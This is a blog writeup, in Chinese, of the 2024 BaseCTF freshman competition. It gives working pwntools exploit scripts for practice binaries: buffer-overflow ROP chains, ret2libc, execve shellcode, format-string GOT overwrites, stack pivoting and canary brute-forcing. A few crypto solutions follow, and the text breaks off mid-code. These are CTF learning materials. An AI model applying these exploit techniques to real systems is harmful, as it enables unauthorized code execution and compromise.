sysNow's blog

2024 BaseCTF高校联合新生赛writeup

2024-09-21
CTF
2024新生赛
最后更新:2024-12-05
24分钟
4672字

pwn

[week1] 我把她丢了

首先,先checksec查看保护,可发现got表可覆写,无pie,无canary,栈上不可执行

default

打开ida,发现vuln函数内存在栈溢出漏洞,同时发现shell函数内有system语句,程序内包含/bin/sh

default

default

default

通过64位传参可知,原system语句中的内容在call _system之前传给rdi,因此可以不选用shell函数的开始地址,转而选择先pop rdi;ret手动更改rdi为/bin/sh的地址,再直接转入call _system,如此执行system("/bin/sh")

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
from pwncli import *
4
from LibcSearcher import *
5
6
# use script mode
7
cli_script()
8
9
# get use for obj from gift
10
io: tube = gift['io']
11
elf: ELF = gift['elf']
12
libc: ELF = gift['libc']
13
14
bin_sh = 0x402008
15
system_addr = 0x40120f
5 collapsed lines
16
rdi_ret = 0x401196
17
payload = b'a'*(0x70+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(system_addr)
18
sla(b"I lost her, what should I do? Help me find her.\n",payload)
19
20
ia()

[week1] Ret2text

首先,先checksec查看保护,可发现got表可覆写,无pie,无canary,栈上不可执行

default

发现main函数中存在栈溢出,同时发现dt_gift函数

default

default

于是经过尝试,可构建payload=b'a'*(0x20+0x8)+p64(gift_addr),但此时由于未对齐,不可正确执行,于是在p64(gift_addr)前插入一个ret的地址

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
from pwncli import *
4
from LibcSearcher import *
5
6
# use script mode
7
cli_script()
8
9
# get use for obj from gift
10
io: tube = gift['io']
11
elf: ELF = gift['elf']
12
libc: ELF = gift['libc']
13
14
gift_addr = 0x4011A4
15
ret_addr = 0x40101a
4 collapsed lines
16
payload = b'a'*(0x20+0x8)+p64(ret_addr)+p64(gift_addr)
17
sl(payload)
18
19
ia()

[week1] echo

echo "$(<flag)"

[week1] shellcode_level0

checksec发现除了canary以外保护全开

default

IDA可以看到,数据输入buf后执行((void (*)(void))buf)(),将buf指针转为函数指针后执行函数,由此可注入shellcode(手写shellcode后续学习)后执行

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
shell_code = '''
13 collapsed lines
16
xor rdx,rdx;
17
push rdx;
18
mov rsi,rsp;
19
mov rax,0x68732f2f6e69622f;
20
push rax;
21
mov rdi,rsp;
22
mov rax,59;
23
syscall;
24
'''
25
payload = asm(shell_code)
26
sl(payload)
27
28
ia()

[week1] 彻底失去她

checksec可得64位文件,可覆写got表,无canary和pie,栈上不可执行

default

在main函数中可看到buf存在栈溢出,双击buf可看到buf不在.bss段中

default

default

发现present函数,其内容为system('ls'),且在IDA中未发现/bin/sh

default

这题考虑先栈溢出,将返回地址覆盖为read函数地址,通过此函数将/bin/sh(也可输入cat flag等)输入.bss段,后手动设置rdi,直接执行present函数中的syscall 通过实验可得,read函数输入内容的存储地址由rsi控制,于是在前往read函数之前,先手动设置rsi为.bss段中的一个地址,即payload = b'A'*(0xA+0x8)+p64(rsi_ret)+p64(bss_addr)+p64(read_plt)+p64(rdi_ret)+p64(bss_addr)+p64(ret_addr)+p64(syscall_addr)

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
present_addr = 0x401198
12 collapsed lines
16
syscall_addr = 0x4011A5
17
rdi_ret = 0x401196
18
rsi_ret = 0x4011ad
19
ret_addr = 0x40101a
20
bss_addr = 0x4040A1
21
read_plt = elf.plt['read']
22
payload = b'A'*(0xA+0x8)+p64(rsi_ret)+p64(bss_addr)+p64(read_plt)+p64(rdi_ret)+p64(bss_addr)+p64(ret_addr)+p64(syscall_addr)
23
sla(b"By the way, I still don't know your nam",payload)
24
sleep(5)
25
sl(b'/bin/sh')
26
27
ia()

[Week2] 她与你皆失

checksec,可覆写got表,无canary和pie,堆栈上不可执行

default

IDA中未看到后门函数,字符串中没有/bin/sh,由此可看出为ret2libc

default

由于glibc-all-in-one中没有题目所给的glibc版本,于是使用libcsearcher

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
puts_plt = elf.plt['puts']
18 collapsed lines
16
puts_got = elf.got['puts']
17
rdi_ret = 0x401176
18
ret_addr = 0x40101a
19
main_addr = elf.sym['main']
20
print(puts_got)
21
payload1 = b'A'*(0xA+0x8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
22
sla(b"I have nothing, what should I do?",payload1)
23
r(1)
24
puts_addr = u64(r(6).ljust(8,b'\x00'))
25
print("puts_addr = ",hex(puts_addr))
26
obj = LibcSearcher("puts", puts_addr)
27
base = puts_addr-obj.dump("puts")
28
system_addr = base+obj.dump("system")
29
bin_sh = base+obj.dump("str_bin_sh")
30
payload2=b'A'*(0xA+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system_addr)
31
sla(b"I have nothing, what should I do?",payload2)
32
33
ia()

或者不使用LibcSearcher,直接用给出的libc文件

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
# libc: ELF = gift['libc']
14
libc = ELF('./libc.so.6')
15
22 collapsed lines
16
puts_plt = elf.plt['puts']
17
puts_got = elf.got['puts']
18
rdi_ret = 0x401176
19
ret_addr = 0x40101a
20
main_addr = elf.sym['main']
21
print(puts_got)
22
payload1 = b'A'*(0xA+0x8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
23
sla(b"I have nothing, what should I do?",payload1)
24
r(1)
25
puts_addr = u64(r(6).ljust(8,b'\x00'))
26
print("puts_addr = ",hex(puts_addr))
27
# obj = LibcSearcher("puts", puts_addr)
28
# base = puts_addr-obj.dump("puts")
29
# system_addr = base+obj.dump("system")
30
# bin_sh = base+obj.dump("str_bin_sh")
31
base = puts_addr-libc.sym['puts']
32
system_addr = base+libc.sym['system']
33
bin_sh = base+next(libc.search("/bin/sh"))
34
payload2=b'A'*(0xA+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system_addr)
35
sla(b"I have nothing, what should I do?",payload2)
36
37
ia()

[Week2] format_string_level0

现根据所给的libc文件和ld文件更换glibc

checksec发现保护全开

default

分析代码可知,程序将本地flag文件的内容存入v6变量中,我们需要在buf中输入格式化字符串,在通过输出来获取flag

default

首先,我们构建payload = b'%p '*10依次输出,确定指向flag的地址

default

可以看到,指向flag的地址为0x556faa7f22a0,在输出中栈上的指针在第八位出现,于是可写成payload = b'%8$p',获取flag可写payload = b'%8$s'

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
payload = b'%8$s'
3 collapsed lines
16
sl(payload)
17
18
ia()

[Week2] shellcode_level1

题目保护全开

default

第一次读入正好为2字节,而syscall经过汇编后也为2字节,我们可以先尝试输入payload = asm('''syscall'''),发现当调用到syscall时,rax正好为0,此时查系统调用表可得,运行read函数,因此IDA中((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);可理解为read(0LL, buf, 1280LL),吗???***此点存疑!!!***但反正可以继续输入数据并执行

default

再次输入时,由于传入的开始写入地址还是在buf头部,于是我们要先塞入两字节,再开始覆盖shellcode,exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
shell = asm('''
18 collapsed lines
16
syscall;
17
''')
18
s(shell)
19
sleep(8)
20
shell_code = asm('''
21
xor rdx,rdx
22
push rdx
23
mov rsi,rsp
24
mov rax,0x68732f2f6e69622f
25
push rax
26
mov rdi,rsp
27
mov rax,59
28
syscall
29
''')
30
payload = b'AA'+shell_code
31
s(payload)
32
33
ia()
1
此题有疑问,为什么开了NX依旧可以使用shellcode呢?
2
3
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。在题目中我们使用vmmap可以看出,第二次输入的buf位置权限可执行

[Week2] format_string_level1

checksec可看到开了canary和NX

default

IDA分析,考虑可使用格式化字符串修改target变量的值,从而获取flag,可获取到target的地址为0x4040B0

default

先使用payload = b'AAAAAAAA'+b'%p '*10来试探AAAAAAAA的地址,可看出AAAAAAAA在第六位出现,即payload = b'AAAAAAAA'+b'%6$p'

default

由于本题考虑小数据覆盖,于是可使用payload = b'A'+b'%7$p'+b'AAA'+b'BBBBBBBB'重新检验

default

结果正确,于是可构建payload = b'A'+b'%7$hhn'+b'A'+p64(target)

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
target = 0x4040B0
4 collapsed lines
16
payload = b'A'+b'%7$hhn'+b'A'+p64(target)
17
sl(payload)
18
19
ia()

[Week2] gift

checksec,file得,此题为静态链接,考虑使用ret2syscall

default

main函数中存在栈溢出,未发现后门函数和/bin/sh字符串,考虑先syscall调用read函数输入/bin/sh,再返回syscall调用execve执行

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
14
bss_addr = 0x4C8001
15
syscall_addr = 0x414B46
12 collapsed lines
16
rax_rdx_rbx = 0x47f2ea
17
# 0x47f2ea : pop rax ; pop rdx ; pop rbx ; ret
18
rdi_ret = 0x401f2f
19
rsi_ret = 0x409f9e
20
# 参数设置顺序:rax rdi rsi rdx rcx
21
# 1 4 5 2 rbx:3
22
payload1 = b'A'*(0x28)+p64(rax_rdx_rbx)+p64(0)+p64(8)+p64(0)+p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(bss_addr)+p64(syscall_addr)
23
payload1 += p64(rax_rdx_rbx)+p64(59)+p64(0)+p64(0)+p64(rdi_ret)+p64(bss_addr)+p64(rsi_ret)+p64(0)+p64(syscall_addr)
24
sla(b"Why so many functions, it seems that somewhere is not quite the same",payload1)
25
sl(b'/bin/sh\x00')
26
27
ia()

[Week3] 你为什么不让我溢出

checksec发现,canary开

default

IDA中发现vuln函数中存在栈溢出漏洞,read读入可以使用send,puts输出不可使用格式化字符串

default

经过多轮调试发现,canary位于rbp上方,且最后一字节为\x00,因此需要覆盖一位后输出.

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
payload = b'A'*(0x70-0x8+1)
11 collapsed lines
16
sa(b"Hello Hacker!\n",payload)
17
r(0x70-0x8+1)
18
canary = u64(r(7).rjust(8,b'\x00'))
19
print("canary = ",hex(canary))
20
21
getshell = 0x4011B6
22
ret_addr = 0x40101a
23
payload = b'A'*(0x70-0x8)+p64(canary)+b'A'*8+p64(ret_addr)+p64(getshell)
24
s(payload)
25
26
ia()

[Week3] format_string_level2

checksec

default

IDA未发现后门函数,可看出使用了printf,可使用格式化字符串更改printf的GOT表,将其指向system,注意64位程序执行格式化字符串输出时,由于地址经过p64封装后存在\x00,因此无论是泄露还是修改都需要将地址放在最后,详细可见文章

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
printf_got = elf.got['printf']
30 collapsed lines
16
print("printf_got = ",hex(printf_got))
17
print("printf_got_p64 = ",p64(printf_got))
18
payload = b'AAAA'+b'%7$s'+p64(printf_got)
19
s(payload)
20
ru(b'AAAA')
21
printf_addr = u64(r(6).ljust(8,b'\x00'))
22
r()
23
print("printf_addr = ",hex(printf_addr))
24
# base = printf_addr-libc.sym['printf']
25
# system = base+libc.sym['system']
26
obj = LibcSearcher("printf",printf_addr)
27
base = printf_addr-obj.dump("printf")
28
print("base = ",hex(base))
29
system = base+obj.dump("system")
30
print("system = ",hex(system))
31
32
# payload = fmtstr_payload(6,{printf_got:system})
33
payload = b'%'+str((system>>16)&0xff).encode()+b'c'+b'%16$hhn'
34
payload += b'%'+str((system&0xffff)-((system>>16)&0xff)).encode()+b'c'+b'%17$hn'
35
num = len(payload)
36
while len(payload) != 80:
37
payload+=b'A'
38
payload += p64(printf_got+2)+p64(printf_got)
39
print("payload = ",payload)
40
sl(payload)
41
42
sleep(5)
43
sl(b'/bin/sh\x00')
44
45
ia()

[Week3] PIE

checksec发现,无法覆写GOT表,无canary,栈上不可执行,开了PIE

default

main函数中存在栈溢出,此题难点在于不更改返回地址的情况下,只能执行一次栈溢出

default

考虑更改0x7fd1b7c04d90 (__libc_start_call_main+128)最后一节数据,使程序能够重载进入main函数,经过调试发现,改为\x28符合条件

default

在覆盖后,经过printf,可将更改后的数据打印出来,由此可以计算得出libc加载基址.第二次进入main函数时再次进行栈溢出,由于程序加载基址并未泄露,因此无法使用pwn文件中的ROP,这次考虑直接one_gadget

default

经过对比可得,可以使用第二条来获取shell,同时vmmap可以看到,在libc段中有可写段,于是可构建payload

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
payload = b'A'*(0x100+8)+b'\x28'
14 collapsed lines
16
s(payload)
17
ru(b"you said ")
18
r(0x100+8)
19
lscmain = u64(r(6).ljust(8,b'\x00'))
20
libc_base = lscmain-0x29d28
21
print("libc_base = ",hex(libc_base))
22
23
one = 0xebc85+libc_base
24
write_addr = 0x21a000+libc_base
25
print("write_addr = ",hex(write_addr))
26
payload = b'B'*(0x100)+p64(write_addr+0x100)+p64(one)
27
s(payload)
28
29
ia()

也可以考虑用libc中的gadget来构建ROP链

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
payload = b'A'*(0x100+8)+b'\x28'
18 collapsed lines
16
s(payload)
17
ru(b"you said ")
18
r(0x100+8)
19
lscmain = u64(r(6).ljust(8,b'\x00'))
20
libc_base = lscmain-0x29d28
21
print("libc_base = ",hex(libc_base))
22
system = libc_base+libc.sym['system']
23
bin_sh = libc_base+next(libc.search("/bin/sh"))
24
print("system = ",hex(system))
25
print("bin_sh = ",hex(bin_sh))
26
27
# 0x0000000000098212 : add bh, dh ; ret
28
ret = 0x098212+libc_base
29
rdi_ret = 0x2a3e5+libc_base
30
payload = b'B'*(0x100+8)+p64(rdi_ret)+p64(bin_sh)+p64(ret)+p64(system)
31
s(payload)
32
33
ia()

[Week3] stack_in_stack

chechsec

default

IDA发现一次读写内容仅够覆盖完返回地址,于是考虑栈迁移

default

可利用这个函数泄露libc基地址

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
main_addr = 0x40124A
26 collapsed lines
16
gift_addr = 0x4011CB
17
leave_ret = 0x4012f2
18
ru(b"It looks like something fell off mick0960.\n")
19
buf = int(r(14),16)
20
print("buf = ",hex(buf))
21
payload = p64(0)+p64(gift_addr)+p64(0)+p64(main_addr)+p64(0)*2+p64(buf)+p64(leave_ret)
22
s(payload)
23
24
ru(b"You found the secret!\n")
25
puts_addr = int(r(14),16)
26
print("puts_addr = ",puts_addr)
27
libc_base = puts_addr-libc.sym["puts"]
28
system = libc_base+libc.sym["system"]
29
bin_sh = next(libc.search("/bin/sh"))+libc_base
30
rdi_ret = 0x2a3e5+libc_base
31
32
ru(b"It looks like something fell off mick0960.\n")
33
buf = int(r(14),16)
34
print("buf = ",hex(buf))
35
ret_addr = 0x40101a
36
payload = p64(0)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system)+p64(0)+p64(buf)+p64(leave_ret)
37
s(payload)
38
39
ia()
40
# set follow-fork-mode parent
41
# set detach-on-fork on

[Week4] format_string_level3

default

只能执行一次格式化字符串,于是考虑.fini_array挟持,这个东西静态和动态好像不一样,动态的程序.fini_array段貌似只能存放一个数据(IDA里看的),而且进入的流程也有些区别,静态的可以看这个

default

default

本题首先打算第一次格式化字符串用来泄露libc和更改.fini_array,第二次进入main函数执行格式化字符串更改printf的got表为system,但想要执行shell,必须再来一次main函数,如果只完成这些部分,并不能第三次进入main函数,于是我们继续往下调试.

default

default

default

如果我们可以更改rax+8(0x403148)的内容为main函数地址,我们可以通过这三条语句再次调用main函数.在IDA中可以看到这条地址下存储的内容:

default

于是第二次格式化字符串要完成的目标即为:修改0x403148为main函数地址,修改printf的got表为system

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
# 往0x403118写入0x40121B
22 collapsed lines
16
# 0x403148 0x40121B
17
main_addr = 0x40121B
18
ru(b'-----\n')
19
payload = b'%41$p'+(b'%'+str((main_addr&0xffff)-14).encode()+b'c'+b'%11$hn').ljust(35,b'A')+p64(0x403118)
20
sl(payload)
21
lscm = int(r(14),16)-128
22
libc_base = lscm-0x2cd10
23
system = libc_base+libc.sym["system"]+0x3000 # 不知道为什么有0x3000的偏移
24
print("system = ",hex(system))
25
printf_got = elf.got["printf"]
26
print("printf_got = ",printf_got)
27
28
payload = (b'%'+str((system>>16)&0xff).encode()+b'c'+b'%14$hhn'+b'%'+str((main_addr&0xffff)-((system>>16)&0xff)).encode()+b'c'+b'%15$hn'+b'%'+str((system&0xffff)-(main_addr&0xffff)).encode()+b'c'+b'%16$hn').ljust(64,b'A')+p64(printf_got+2)+p64(0x403148)+p64(printf_got)
29
sl(payload)
30
31
ru(b'-----\n')
32
ru(b'-----\n')
33
sl(b'/bin/sh')
34
35
ia()
36
# set follow-fork-mode parent
37
# set detach-on-fork on

[Week4] 没有 canary 我要死了! (远端未打通)

发现保护全开 default

IDA中发现fork函数和随机数函数

default

发现后门函数

default

这一题主要考虑的是fork函数复制进程是一模一样的,由此可以爆破得出canary,而随机数是伪随机数,因此我们可以调用glibc库中的随机数函数来破解 参考文章Python ctypes 使用笔记

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
# libc: ELF = gift['libc']
15
34 collapsed lines
16
libc = cdll.LoadLibrary('libc.so.6')
17
libc.srand(libc.time(0))
18
canary = b'\x00'
19
shell = 0x02B1
20
for i in range(7):
21
for j in range(256):
22
ru(b"oh, welcome to BaseCTF\n")
23
sl(str(libc.rand()%50).encode())
24
payload = b'A'*(0x70-8)+canary+bytes([j])
25
print("payload = ",payload)
26
s(payload)
27
rl()
28
data = rl()
29
print("data = ",data)
30
if data != b"*** stack smashing detected ***: terminated\n":
31
canary+=bytes([j])
32
break
33
print("canary = ",canary)
34
ru(b'oh, welcome to BaseCTF\n')
35
while True:
36
sl(str(libc.rand()%50).encode())
37
rl()
38
payload = b'A'*(0x70-8)+canary+p64(0xdeadbeef)+p16(shell)
39
s(payload)
40
rec = rl()
41
print("rec = ",rec)
42
if rec == b"oh, welcome to BaseCTF\n":
43
shell+=0x1000
44
else:
45
break
46
47
ia()
48
# set follow-fork-mode parent
49
# set detach-on-fork on

[Week4] ezstack

checksec

default

本题未发现后门函数,考虑利用libc,可以覆写setvbuf的got表为system,可利用ret2csu和出题人给的magic_gadget

default

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
25 collapsed lines
16
gets_plt = elf.plt["gets"]
17
setvbuf_plt = elf.plt["setvbuf"]
18
setvbuf_got = elf.got["setvbuf"]
19
system = libc.sym["system"]
20
gadget1 = 0x4006EA
21
# pop rbx,rbp,r12,r13,r14,r15;retn
22
gadget2 = 0x4006D0
23
magic = 0x400658
24
# add [rbp-3Dh], ebx
25
rdi_ret = 0x4006f3
26
bss_addr = 0x601069
27
offset = -0x30880
28
offset = offset&0xFFFFFFFFFFFFFFFF
29
print("setvbuf_got = ",setvbuf_got)
30
31
payload = b'A'*(0x10)+p64(gadget1)
32
payload += p64(offset)+p64(setvbuf_got+0x3d)+p64(0)*4+p64(magic)
33
payload += p64(rdi_ret)+p64(bss_addr)+p64(gets_plt)
34
payload += p64(rdi_ret)+p64(bss_addr)+p64(setvbuf_plt)
35
sl(payload)
36
sl(b"/bin/sh\x00")
37
38
ia()
39
# set follow-fork-mode parent
40
# set detach-on-fork on

crypto

[Week1] helloCrypto

由AES的定义可知,AES是对称加密,由此我们可以从密文直接推得明文,原题给的仅仅是例子,原题后的注释才是真正的数据

exp如下:

1
from Crypto.Util.number import *
2
from Crypto.Cipher import AES
3
from Crypto.Util.Padding import pad
4
import random
5
6
key = 208797759953288399620324890930572736628
7
key = long_to_bytes(key)
8
c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
9
aes=AES.new(key=key,mode=AES.MODE_ECB)
10
flag=aes.decrypt(c)
11
print(flag)

[Week1] ez_math

题目如下:

1
import numpy as np
2
from Crypto.Util.number import *
3
4
a, b, c, d = [getPrime(128) for _ in range(4)]
5
point1 = a * d
6
point2 = b * c
7
matrix2 = [[0, a, b], [0, c, d]]
8
9
flag = b"flag{test_flag}"
10
flag = bytes_to_long(flag)
11
12
13
def randomArray():
14
upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
15
low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
14 collapsed lines
16
for i in range(3):
17
for j in range(i+1, 3):
18
upper[i][j] = getPrime(128)
19
low[j][i] = getPrime(128)
20
result = np.array(upper) @ np.array(low)
21
return result
22
23
A = np.array([[flag, 0, 0]] + matrix2)
24
B = randomArray()
25
MAT = A @ B
26
27
print(point1)
28
print(point2)
29
print(MAT)

分析可得:

1
A=[[flag, 0, 0],
2
[0 , a, b],
3
[0 , c, d]]
4
5
upper=[[1,x1 ,x2], low=[[1 ,0 ,0],
6
[0,1 ,x3], [y1,1 ,0],
7
[0,0 ,1 ]] [y2,y3,1]]

由线性代数知识|A@B|=|A||B|可得,|B|=|upper||low|=1,|MAT|=|A||B|=|A|,因为|A|=flag*(ad-bc)=flag*(point1-point2)由此可逆向解出flag

exp如下:

1
import numpy as np
2
from Crypto.Util.number import *
3
4
point1 = 85763755029292607594055805804755756282473763031524911851356658672180185707477
5
point2 = 70470862191594893036733540494554536608294230603070251013536189798304544579643
6
list = [[73595299897883318809385485549070133693240974831930302408429664709375267345973630251242462442287906226820558620868020093702204534513147710406187365838820773200509683489479230005270823245,46106113894293637419638880781044700751458754728940339402825975283562443072980134956975133603010158365617690455079648357103963721564427583836974868790823082218575195867647267322046726830,161159443444728507357705839523372181165265338895748546250868368998015829266587881868060439602487400399254839839711192069105943123376622497847079185],[13874395612510317401724273626815493897470313869776776437748145979913315379889260408106588331541371806148807844847909,17025249852164087827929313934411832021160463738288565876371918871371314930048841650464137478757581505369909723030523,59510107422473463833740668736202898422777415868238817665123293560097821015330],[11314088133820151155755028207579196628679021106024798818326096960197933616112389017957501267749946871903275867785729,13883500421020573457778249958402264688539607625195400103961001780695107955462968883861677871644577542226749179056659,48528427402189936709203219516777784993195743269405968907408051071264464132448]]
7
MAT = np.array(list)
8
det_B = 1
9
det_MAT = MAT[0][0]*(MAT[1][1]*MAT[2][2]-MAT[1][2]*MAT[2][1])-MAT[0][1]*(MAT[1][0]*MAT[2][2]-MAT[2][0]*MAT[1][2])+MAT[0][2]*(MAT[1][0]*MAT[2][1]-MAT[2][0]*MAT[1][1])
10
det_A = det_B*det_MAT
11
flag = det_A//(point1-point2)
12
flag = long_to_bytes(flag)
13
print(flag)

[Week1] 你会算md5吗

题目如下:

1
import hashlib
2
3
flag='BaseCTF{}'
4
5
output=[]
6
for i in flag:
7
my_md5=hashlib.md5()
8
my_md5.update(i.encode())
9
output.append(my_md5.hexdigest())
10
print("output =",output)

由此可知,题目对flag按字节做了md5加密,加密后内容存于output列表中,因为md5是非对称的,于是我们可以按字节进行枚举,以此获得每一位flag.

exp如下:

1
import hashlib
2
3
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
4
flag=[]
5
for i in output:
6
for j in range(33,126):
7
my_md5=hashlib.md5()
8
my_md5.update(chr(j).encode())
9
if my_md5.hexdigest() == i:
10
flag.append(chr(j))
11
string1 = ''.join(flag)
12
print(string1)

[Week1] 十七倍

题目如下:

1
#include <stdio.h>
2
int main() {
3
unsigned char flag[] = "BaseCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
4
int i;
5
for (i = 0; i < 40; i++) {
6
flag[i] = flag[i] * 17;
7
}
8
if (flag[0] != 98) { /* �±��Ǵ� 0 ��ʼ�� */
9
printf("CPU Error???\n");
10
return 1;
11
}
12
unsigned char cipher[] = {
13
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
14
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
15
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
10 collapsed lines
16
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
17
};
18
for (i = 0; i < 40; i++) {
19
if (flag[i] != cipher[i]) {
20
printf("flag[%d] is wrong, expect %d, got %d.\n", i, cipher[i], flag[i]);
21
